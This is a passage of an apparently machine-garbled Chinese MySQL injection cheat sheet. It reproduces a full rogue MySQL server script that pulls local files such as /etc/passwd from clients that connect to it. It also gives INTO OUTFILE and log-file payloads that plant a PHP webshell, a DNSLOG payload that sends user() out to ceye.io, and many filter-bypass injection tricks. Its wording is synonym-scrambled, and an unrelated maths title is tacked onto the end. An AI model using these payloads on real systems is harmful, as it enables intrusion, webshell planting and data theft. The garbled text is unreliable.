这个破绽是mysql的一个特征发作的,是上述的第三种读文件的要领为基本的。
简朴形貌该破绽:Mysql客户端在实行load data local
语句的时,先想mysql效劳端发送要求,效劳端吸收到要求,并返回须要读取的文件地点,客户端吸收该地点并举行读取,接着将读取到的内容发送给效劳端。用浅显的言语可以形貌以下:
底本的查询流程为
客户端:我要把我的win.ini文件内容插进去test表中 效劳端:好,我要你的win.ini文件内容 客户端:win.ini的内容以下....
假定效劳端由我们掌握,把一个平常的流程篡改成以下
客户端:我要把我的win.ini文件内容插进去test表中 效劳端:好,我要你的conn.php内容 客户端:conn.php的内容以下???
例子部份修正自:CSS-T | Mysql Client 恣意文件读取进击链拓展
换句话说:load data local
语句要读取的文件会遭到效劳端的掌握。
其次,在Mysql官方文档关于load data local
语句的平安申明中有这么一句话:
A patched server could in fact reply with a file-transfer request to any statement, not just
LOAD DATA LOCAL
, so a more fundamental issue is that clients should not connect to untrusted servers.
意义是:效劳器对客户端的文件读取要求现实上是可以返回给客户端发送给效劳端的恣意语句要求的,不单单议只是load data local
语句。
这就会发作什么效果呢?之前讲的例子,将可以变成:
客户端:我须要查询test表下的xx内容
效劳端:我须要你的conn.php内容
客户端:conn.php的内容以下???
可以看到,客户端相当于被进击者给半挟制了。
应用上述的特征,我们经由历程组织一个歹意的效劳端,即可完成上述的历程。
浅易歹意效劳端代码:
#代码摘自:https://github.com/Gifts/Rogue-MySql-Server/blob/master/rogue_mysql_server.py
#!/usr/bin/env python
#coding: utf8
import socket
import asyncore
import asynchat
import struct
import random
import logging
import logging.handlers
PORT = 3306
log = logging.getLogger(__name__)
log.setLevel(logging.DEBUG)
tmp_format = logging.handlers.WatchedFileHandler('mysql.log', 'ab')
tmp_format.setFormatter(logging.Formatter("%(asctime)s:%(levelname)s:%(message)s"))
log.addHandler(
tmp_format
)
filelist = (
# r'c:boot.ini',
r'c:windowswin.ini',
# r'c:windowssystem32driversetchosts',
# '/etc/passwd',
# '/etc/shadow',
)
#================================================
#=======No need to change after this lines=======
#================================================
__author__ = 'Gifts'
def daemonize():
import os, warnings
if os.name != 'posix':
warnings.warn('Cant create daemon on non-posix system')
return
if os.fork(): os._exit(0)
os.setsid()
if os.fork(): os._exit(0)
os.umask(0o022)
null=os.open('/dev/null', os.O_RDWR)
for i in xrange(3):
try:
os.dup2(null, i)
except OSError as e:
if e.errno != 9: raise
os.close(null)
class LastPacket(Exception):
pass
class OutOfOrder(Exception):
pass
class mysql_packet(object):
packet_header = struct.Struct('<Hbb')
packet_header_long = struct.Struct('<Hbbb')
def __init__(self, packet_type, payload):
if isinstance(packet_type, mysql_packet):
self.packet_num = packet_type.packet_num + 1
else:
self.packet_num = packet_type
self.payload = payload
def __str__(self):
payload_len = len(self.payload)
if payload_len < 65536:
header = mysql_packet.packet_header.pack(payload_len, 0, self.packet_num)
else:
header = mysql_packet.packet_header.pack(payload_len & 0xFFFF, payload_len >> 16, 0, self.packet_num)
result = "{0}{1}".format(
header,
self.payload
)
return result
def __repr__(self):
return repr(str(self))
@staticmethod
def parse(raw_data):
packet_num = ord(raw_data[0])
payload = raw_data[1:]
return mysql_packet(packet_num, payload)
class http_request_handler(asynchat.async_chat):
def __init__(self, addr):
asynchat.async_chat.__init__(self, sock=addr[0])
self.addr = addr[1]
self.ibuffer = []
self.set_terminator(3)
self.state = 'LEN'
self.sub_state = 'Auth'
self.logined = False
self.push(
mysql_packet(
0,
"".join((
'x0a', # Protocol
'3.0.0-Evil_Mysql_Server' + '', # Version
#'5.1.66-0+squeeze1' + '',
'x36x00x00x00', # Thread ID
'evilsalt' + '', # Salt
'xdfxf7', # Capabilities
'x08', # Collation
'x02x00', # Server Status
'' * 13, # Unknown
'evil2222' + '',
))
)
)
self.order = 1
self.states = ['LOGIN', 'CAPS', 'ANY']
def push(self, data):
log.debug('Pushed: %r', data)
data = str(data)
asynchat.async_chat.push(self, data)
def collect_incoming_data(self, data):
log.debug('Data recved: %r', data)
self.ibuffer.append(data)
def found_terminator(self):
data = "".join(self.ibuffer)
self.ibuffer = []
if self.state == 'LEN':
len_bytes = ord(data[0]) + 256*ord(data[1]) + 65536*ord(data[2]) + 1
if len_bytes < 65536:
self.set_terminator(len_bytes)
self.state = 'Data'
else:
self.state = 'MoreLength'
elif self.state == 'MoreLength':
if data[0] != '':
self.push(None)
self.close_when_done()
else:
self.state = 'Data'
elif self.state == 'Data':
packet = mysql_packet.parse(data)
try:
if self.order != packet.packet_num:
raise OutOfOrder()
else:
# Fix ?
self.order = packet.packet_num + 2
if packet.packet_num == 0:
if packet.payload[0] == 'x03':
log.info('Query')
filename = random.choice(filelist)
PACKET = mysql_packet(
packet,
'xFB{0}'.format(filename)
)
self.set_terminator(3)
self.state = 'LEN'
self.sub_state = 'File'
self.push(PACKET)
elif packet.payload[0] == 'x1b':
log.info('SelectDB')
self.push(mysql_packet(
packet,
'xfex00x00x02x00'
))
raise LastPacket()
elif packet.payload[0] in 'x02':
self.push(mysql_packet(
packet, 'x02'
))
raise LastPacket()
elif packet.payload == 'x00x01':
self.push(None)
self.close_when_done()
else:
raise ValueError()
else:
if self.sub_state == 'File':
log.info('-- result')
log.info('Result: %r', data)
if len(data) == 1:
self.push(
mysql_packet(packet, 'x02')
)
raise LastPacket()
else:
self.set_terminator(3)
self.state = 'LEN'
self.order = packet.packet_num + 1
elif self.sub_state == 'Auth':
self.push(mysql_packet(
packet, 'x02'
))
raise LastPacket()
else:
log.info('-- else')
raise ValueError('Unknown packet')
except LastPacket:
log.info('Last packet')
self.state = 'LEN'
self.sub_state = None
self.order = 0
self.set_terminator(3)
except OutOfOrder:
log.warning('Out of order')
self.push(None)
self.close_when_done()
else:
log.error('Unknown state')
self.push('None')
self.close_when_done()
class mysql_listener(asyncore.dispatcher):
def __init__(self, sock=None):
asyncore.dispatcher.__init__(self, sock)
if not sock:
self.create_socket(socket.AF_INET, socket.SOCK_STREAM)
self.set_reuse_addr()
try:
self.bind(('', PORT))
except socket.error:
exit()
self.listen(5)
def handle_accept(self):
pair = self.accept()
if pair is not None:
log.info('Conn from: %r', pair[1])
tmp = http_request_handler(pair)
z = mysql_listener()
daemonize()
asyncore.loop()
须要注重的是:这个历程须要客户端许可应用load data local
才行,不过这个信息在客户端尝试衔接到效劳端的数据包中可以找到。
写
说完了读文件,那我们来讲说mysql的写文件操纵。罕见的写文件操纵以下:
select 1,"<?php @assert($_POST['t']);?>" into outfile '/var/www/html/1.php';
select 2,"<?php @assert($_POST['t']);?>" into dumpfile '/var/www/html/1.php';
限定:
secure-file-priv
无值或为可应用的目次- 需晓得目的目次的相对目次地点
- 目的目次可写,mysql的权限充足。
日记法
由于mysql在5.5.53版本以后,secure-file-priv
的值默以为NULL
,这使得平常读取文件的操纵基本不可行。我们这里可以应用mysql生成日记文件的要领来绕过。
mysql日记文件的一些相干设置可以直接经由历程敕令来举行:
//要求日记
mysql> set global general_log_file = '/var/www/html/1.php';
mysql> set global general_log = on;
//慢查询日记
mysql> set global slow_query_log_file='/var/www/html/2.php'
mysql> set global slow_query_log=1;
//另有其他许多日记都可以举行应用
...
以后我们在让数据库实行满足纪录条件的歹意语句即可。
限定:
- 权限够,可以举行日记的设置操纵
- 晓得目的目次的相对途径
DNSLOG带出数据
什么是DNSLOG?简朴的说,就是关于特定网站的DNS查询的一份纪录表。若A用户对B网站举行接见/要求等操纵,起首会去查询B网站的DNS纪录,由于B网站是被我们掌握的,便可以经由历程某些要领纪录下A用户关于B网站的DNS纪录信息。此要领也称为OOB注入。
如何用DNSLOG带出数据?若我们想要查询的数据为:aabbcc
,那末我们让mysql效劳端去要求aabbcc.evil.com
,经由历程纪录evil.com
的DNS纪录,就可以获得数据:aabbcc
。
引自:Dnslog在SQL注入中的实战
payload: load_file(concat('',(select user()),'.xxxx.ceye.ioxxxx'))
应用场景:
- 三大注入没法应用
- 有文件读取权限及
secure-file-priv
无值。 - 不晓得网站/目的文件/目的目次的相对途径
- 目的体系为Windows
引荐平台:ceye.io
为何Windows可用,Linux不可?这里涉及到一个叫UNC的学问点。简朴的说,在Windows中,途径以开头的途径在Windows中被定义为UNC途径,相当于收集硬盘一样的存在,所以我们填写域名的话,Windows会先举行DNS查询。然则关于Linux来讲,并没有这一范例,所以DNSLOG在Linux环境不实用。注:payload里的四个
中的两个
是用来举行转义处置惩罚的。
二次注入
什么是二次注入?简朴的说,就是进击者组织的歹意payload起首会被效劳器存储在数据库中,在以后掏出数据库在举行SQL语句拼接时发作的SQL注入问题。
举个例子,某个查询当先登录的用户信息的SQL语句以下:
select * from users where username='$_SESSION['username']'
登录/注册处的SQL语句都经由了addslashes函数、单引号闭合的处置惩罚,且无编码发作的问题。
关于上述举的语句我们可以先注册一个名为admin' #
的用户名,由于在注册举行了单引号的转义,故我们并不能直接举行insert注入,终究将我们的用户名存储在了效劳器中,注重:反斜杠转义掉了单引号,在mysql中获得的数据并没有反斜杠的存在。
在我们举行登录操纵的时刻,我们用注册的admin' #
登录体系,并将用户部份数据存储在关于的SESSION中,如$_SESSION['username']
。
上述的$_SESSION['username']
并没有经由处置惩罚,直接拼接到了SQL语句当中,就会形成SQL注入,终究的语句为:
select * from users where username='admin' #'
order by比较盲注
这类要领应用的状况比较极度一些,如布尔盲注时,字符截取/比较限定很严厉。例子:
select * from users where (select 'r' union select user() order by 1 limit 1)='r'
假如能一眼看出道理的话就不须要继承看下去了。
现实上此处是应用了order by
语句的排序功用来举行推断的。若我们想要查询的数据开头的首字母在字母表的位值比我们推断的值要靠后,则limit
语句将不会让其输出,那末全部条件将会建立,否之不建立。
应用这类要领可以做到不须要应用like、rlike、regexp
等婚配语句以及字符操纵函数。
再举个例子:
select username,flag,password from users where username='$username;'
页面回显的字段为:username与password,如安在union
与flag
两单词被阻拦、无报错信息返回的状况下猎取到用户名为admin
的flag值?
我们前边讲到了无列名注入,经由历程应用union
语句来对未知列名举行重命名的情势绕过,还讲过经由历程应用join using()
报错注入出列名。但如今,这两种要领都不可以的状况下该如何猎取到flag字段的内容?
应用order by
可轻松盲注出答案。payload:
select username,flag,password from users where username='admin' union select 1,'a',3 order by 2
与之前的道理雷同,经由历程推断前后两个select语句返回的数据前后次序来举行盲注。
罕见函数/标记归类
诠释符
单行诠释 | 单行诠释 | 单行诠释 | 多行(内联)诠释 |
---|---|---|---|
# |
-- x //x为恣意字符 |
;%00 |
/*恣意内容*/ |
经常使用运算符
运算符 | 申明 | 运算符 | 申明 |
---|---|---|---|
&& | 与,同and。 | || | 或,同or。 |
! | 非,同not。 | ~ | 一元比特反转。 |
^ | 异或,同xor。 | + | 加,可替代空格,如select+user() 。 |
体系信息函数
函数 | 申明 |
---|---|
USER() | 猎取当前操纵句柄的用户名,同SESSION_USER()、CURRENT_USER(),偶然也用SYSTEM_USER()。 |
DATABASE() | 猎取当前挑选的数据库名,同SCHEMA()。 |
VERSION() | 猎取当前版本信息。 |
进制转换
函数 | 申明 |
---|---|
ORD(str) | 返回字符串第一个字符的ASCII值。 |
OCT(N) | 以字符串情势返回 N 的八进制数,N 是一个BIGINT 型数值,作用相当于CONV(N,10,8) 。 |
HEX(N_S) | 参数为字符串时,返回 N_or_S 的16进制字符串情势,为数字时,返回其16进制数情势。 |
UNHEX(str) | HEX(str) 的逆向函数。将参数中的每一对16进制数字都转换为10进制数字,然后再转换成 ASCII 码所对应的字符。 |
BIN(N) | 返回十进制数值 N 的二进制数值的字符串表现情势。 |
ASCII(str) | 同ORD(string) 。 |
CONV(N,from_base,to_base) | 将数值型参数 N 由初始进制 from_base 转换为目的进制 to_base 的情势并返回。 |
CHAR(N,... [USING charset_name]) | 将每个参数 N 都诠释为整数,返回由这些整数在 ASCII 码中所对应字符所构成的字符串。 |
字符截取/拼接
函数 | 申明 |
---|---|
SUBSTR(str,N_start,N_length) | 对指定字符串举行截取,为SUBSTRING的简朴版。 |
SUBSTRING() | 多种花样SUBSTRING(str,pos)、SUBSTRING(str FROM pos)、SUBSTRING(str,pos,len)、SUBSTRING(str FROM pos FOR len) 。 |
RIGHT(str,len) | 对指定字符串从最右侧截取指定长度。 |
LEFT(str,len) | 对指定字符串从最左侧截取指定长度。 |
RPAD(str,len,padstr) | 在 str 右方补齐 len 位的字符串 padstr ,返回新字符串。假如 str 长度大于 len ,则返回值的长度将缩减到 len 所指定的长度。 |
LPAD(str,len,padstr) | 与RPAD类似,在str 左侧补齐。 |
MID(str,pos,len) | 同于 SUBSTRING(str,pos,len) 。 |
INSERT(str,pos,len,newstr) | 在原始字符串 str 中,将自左数第 pos 位入手下手,长度为 len 个字符的字符串替代为新字符串 newstr ,然后返回经由替代后的字符串。INSERT(str,len,1,0x0) 可当作截取函数。 |
CONCAT(str1,str2...) | 函数用于将多个字符串兼并为一个字符串 |
GROUP_CONCAT(...) | 返回一个字符串效果,该效果由分组中的值衔接组合而成。 |
MAKE_SET(bits,str1,str2,...) | 根据参数1,返回所输入其他的参数值。可用作布尔盲注,如:EXP(MAKE_SET((LENGTH(DATABASE())>8)+1,'1','710')) 。 |
罕见全局变量
变量 | 申明 | 变量 | 申明 |
---|---|---|---|
@@VERSION | 返回版本信息 | @@HOSTNAME | 返回装置的盘算机称号 |
@@GLOBAL.VERSION | 同@@VERSION |
@@BASEDIR | 返回MYSQL相对途径 |
PS:检察悉数全局变量SHOW GLOBAL VARIABLES;
。
其他经常使用函数/语句
函数/语句 | 申明 |
---|---|
LENGTH(str) | 返回字符串的长度。 |
PI() | 返回π的详细数值。 |
REGEXP "statement" | 正则婚配数据,返回值为布尔值。 |
LIKE "statement" | 婚配数据,%代表恣意内容。返回值为布尔值。 |
RLIKE "statement" | 与regexp雷同。 |
LOCATE(substr,str,[pos]) | 返回子字符串第一次涌现的位置。 |
POSITION(substr IN str) | 等同于 LOCATE() 。 |
LOWER(str) | 将字符串的大写字母悉数转成小写。同:LCASE(str) 。 |
UPPER(str) | 将字符串的小写字母悉数转成大写。同:UCASE(str) 。 |
ELT(N,str1,str2,str3,...) | 与MAKE_SET(bit,str1,str2...) 类似,根据N 返回参数值。 |
NULLIF(expr1,expr2) | 若expr1与expr2雷同,则返回expr1,不然返回NULL。 |
CHARSET(str) | 返回字符串应用的字符集。 |
DECODE(crypt_str,pass_str) | 应用 pass_str 作为暗码,解密加密字符串 crypt_str。加密函数:ENCODE(str,pass_str) 。 |
束缚进击
什么是束缚进击?
依然是先举个例子:
我们先经由历程以下语句竖立一个用户表
CREATE TABLE users(
username varchar(20),
password varchar(20)
)
注册代码:
<?php
$conn = mysqli_connect("127.0.0.1:3307", "root", "root", "db");
if (!$conn) {
die("Connection failed: " . mysqli_connect_error());
}
$username = addslashes(@$_POST['username']);
$password = addslashes(@$_POST['password']);
$sql = "select * from users where username = '$username'";
$rs = mysqli_query($conn,$sql);
if($rs->fetch_row()){
die('账号已注册');
}else{
$sql2 = "insert into users values('$username','$password')";
mysqli_query($conn,$sql2);
die('注册胜利');
}
?>
登录推断代码:
<?php
$conn = mysqli_connect("127.0.0.1:3307", "root", "root", "db");
if (!$conn) {
die("Connection failed: " . mysqli_connect_error());
}
$username = addslashes(@$_POST['username']);
$password = addslashes(@$_POST['password']);
$sql = "select * from users where username = '$username' and password='$password';";
$rs = mysqli_query($conn,$sql);
if($rs->fetch_row()){
$_SESSION['username']=$password;
}else{
echo "fail";
}
?>
在无编码问题,且举行了单引号的处置惩罚状况下仍大概发作什么SQL注入问题呢?
我们注重到,前边创建表格的语句限定了username和password的长度最大为25,若我们插进去数据凌驾25,MYSQL会如何处置惩罚呢?答案是MYSQL会截取前边的25个字符举行插进去。
而关于SELECT
查询要求,若查询的数据凌驾25长度,也不会举行截取操纵,这就发作了一个问题。
平常关于注册处的代码来讲,须要先推断注册的用户名是不是存在,再举行插进去数据操纵。如我们注册一个username=admin[25个空格]x&password=123456
的账号,效劳器会先查询admin[25个空格]x
的用户是不是存在,若存在,则不能注册。若不存在,则举行插进去数据的操纵。而此处我们限定了username与password字段长度最大为25,所以我们现实插进去的数据为username=admin[20个空格]&password=123456
。
接着举行登录的时,我们应用:username=admin&password=123456
举行登录,即可胜利登录admin的账号。
防备:
- 给username字段增加unique属性。
- 应用id字段作为推断用户的凭据。
- 插进去数据前推断数据长度。
堆叠注入
简朴的说,由于分号;
为MYSQL语句的终了符。若在支撑多语句实行的状况下,可应用此要领实行其他歹意语句,如RENAME
、DROP
等。
注重,平常多语句实行时,若前条语句已返回数据,则以后的语句返回的数据平常没法返回前端页面。发起应用union团结注入,若没法应用团结注入, 可斟酌应用RENAME
关键字,将想要的数据列名/表名更改成返回数据的SQL语句所定义的表/列名 。详细参考:2019强网杯——随意注Writeup
PHP中堆叠注入的支撑状况:
Mysqli | PDO | MySQL | |
---|---|---|---|
引入的PHP版本 | 5.0 | 5.0 | 3.0之前 |
PHP5.x是不是包括 | 是 | 是 | 是 |
多语句实行支撑状况 | 是 | 大多数 | 否 |
引自:PDO场景下的SQL注入探讨
handler语句替代select查询
mysql除可应用select查询表中的数据,也可应用handler语句,这条语句使我们可以一行一行的阅读一个表中的数据,不过handler语句并不具有select语句的一切功用。它是mysql专用的语句,并没有包括到SQL范例中。
语法组织:
HANDLER tbl_name OPEN [ [AS] alias]
HANDLER tbl_name READ index_name { = | <= | >= | < | > } (value1,value2,...)
[ WHERE where_condition ] [LIMIT ... ]
HANDLER tbl_name READ index_name { FIRST | NEXT | PREV | LAST }
[ WHERE where_condition ] [LIMIT ... ]
HANDLER tbl_name READ { FIRST | NEXT }
[ WHERE where_condition ] [LIMIT ... ]
HANDLER tbl_name CLOSE
如:经由历程handler语句查询users表的内容
handler users open as yunensec; #指定数据表举行载入并将返回句柄重命名
handler yunensec read first; #读取指定表/句柄的首行数据
handler yunensec read next; #读取指定表/句柄的下一行数据
handler yunensec read next; #读取指定表/句柄的下一行数据
...
handler yunensec close; #封闭句柄
一些小Trick
这里跟人人分享一些有意义的Trick,主要在一些CTF题涌现,这里也把它记下来,轻易温习。
PHP/union.+?select/ig
绕过。
在某些题目中,题目制止union与select同时涌现时,会用此正则来推断输入数据。
- 应用点:PHP正则回溯BUG
- 详细剖析文章:PHP应用PCRE回溯次数限定绕过某些平安限定
PHP为了防备正则表达式的谢绝效劳进击(reDOS),给pcre设定了一个回溯次数上限
pcre.backtrack_limit
。若我们输入的数据使得PHP举行回溯且此数凌驾了划定的回溯上限此数(默以为 100万),那末正则住手,返回未婚配到数据。
故而我们组织payload:union/*100万个a,充任垃圾数据*/select
即可绕过正则推断。
一道相干的CTF题:TetCTF-2020 WP BY MrR3boot
无列名盲注
前边提到了,在晓得表名,不晓得列名的状况下,我们可以应用union
来给未知列名“重命名”,还可以应用报错函数来注入出列名。如今,除了之前的order by
盲注以外,这里再提一种新的要领,直接经由历程select举行盲注。
中心payload:(select 'admin','admin')>(select * from users limit 1)
子查询之间也可以直接经由历程>、<、=
来举行推断。
UPDATE注入反复字段赋值
即:UPDATA table_name set field1=new_value,field1=new_value2 [where]
,终究field1
字段的内容为new_value2
,可用这个特征来举行UPDATA注入。如:
UPDATE table_name set field1=new_value,field1=(select user()) [where]
LIMIT以后的字段数推断
我们都晓得若注入点在where子语句以后,推断字段数可以用order by
或group by
来举行推断,而limit
后可以应用 into @,@
推断字段数,个中@为mysql暂时变量。
sys体系库
#查询一切的库: SELECT table_schema FROM sys.schema_table_statistics GROUP BY table_schema; SELECT table_schema FROM sys.x$schema_flattened_keys GROUP BY table_schema; #查询指定库的表(若无则申明此表从未被接见): SELECT table_name FROM sys.schema_table_statistics WHERE table_schema='mspwd' GROUP BY table_name; SELECT table_name FROM sys.x$schema_flattened_keys WHERE table_schema='mspwd' GROUP BY table_name; #统计一切接见过的表次数:库名,表名,接见次数 select table_schema,table_name,sum(io_read_requests+io_write_requests) io from sys.schema_table_statistics group by table_schema,table_name order by io desc; #检察一切正在衔接的用户详细信息:衔接的用户(衔接的用户名,衔接的ip),当前库,用户状况(Sleep就是余暇),如今在实行的sql语句,上一次实行的sql语句,已竖立衔接的时刻(秒) SELECT user,db,command,current_statement,last_statement,time FROM sys.session; #检察一切曾衔接数据库的IP,总衔接次数 SELECT host,total_connections FROM sys.host_summary;
节选自:Mysql的奇淫技能(黑科技)
视图->列名 | 申明 |
---|---|
host_summary -> host、total_connections | 汗青衔接IP、对应IP的衔接次数 |
innodb_buffer_stats_by_schema -> object_schema | 库名 |
innodb_buffer_stats_by_table -> object_schema、object_name | 库名、表名(可指定) |
io_global_by_file_by_bytes -> file | 途径中包括库名 |
io_global_by_file_by_latency -> file | 途径中包括库名 |
processlist -> current_statement、last_statement | 当前数据库正在实行的语句、该句柄实行的上一条语句 |
schema_auto_increment_columns -> table_schema、table_name、column_name | 库名、表名、列名 |
schema_index_statistics -> table_schema、table_name | 库名、表名 |
schema_object_overview -> db | 库名 |
schema_table_statistics -> table_schema、table_name | 库名、表名 |
schema_table_statistics_with_buffer -> table_schema、table_name | 库名、表名 |
schema_tables_with_full_table_scans -> object_schema、object_name | 库名、表名(周全扫描接见) |
session -> current_statement、last_statement | 当前数据库正在实行的语句、该句柄实行的上一条语句 |
statement_analysis -> query、db | 数据库近来实行的要求、关于要求接见的数据库名 |
statements_with_* -> query、db | 数据库近来实行的特别状况的要求、对应要求的数据库 |
version -> mysql_version | mysql版本信息 |
x$innodb_buffer_stats_by_schema | 同innodb_buffer_stats_by_schema |
x$innodb_buffer_stats_by_table | 同innodb_buffer_stats_by_table |
x$io_global_by_file_by_bytes | 同io_global_by_file_by_bytes |
...... | 同...... |
x$schema_flattened_keys -> table_schema、table_name、index_columns | 库名、表名、主键名 |
x$ps_schema_table_statistics_io -> table_schema、table_name、count_read | 库名、表名、读取该表的次数 |
差点忘了,另有mysql数据库也可以查询表名、库名。
select table_name from mysql.innodb_table_stats where database_name=database();
select table_name from mysql.innodb_index_stats where database_name=database();
Mysql注入防备
- 单引号闭合可控变量,并举行相应的转义处置惩罚
- 只管应用预编译来实行SQL语句
- 采纳白名单机制/完美黑名单
- 装置WAF防护软件
- 谢绝不平安的编码转换,只管一致编码
- 封闭毛病提醒
结语
大概记得东西有点多致使许多内容都是精简事后的学问,实在本文可以当作字典一样来应用,大概讲得不是很仔细,然则却轻易我们举行温习,回想起脑海中的学问。文章消费了大批的翰墨在纪录许多与Mysql注入相干的Trick,故而大概会显得比较芜杂,没有获得一个比较好的整顿,大概关于不太相识Mysql注入的同砚不太友爱,望体谅。
参考
- 【PHP代码审计】入门之路——第二篇-宽字节注入
- MySQL注入技能
- Mysql 注入基本小结
- Mysql的奇淫技能(黑科技)
- Read MySQL Client's File
- Dnslog在SQL注入中的实战
- 从平安角度深切明白MySQL编码转换机制
- mysql sys Schema Object Index
高等数学——讲透微分中值定理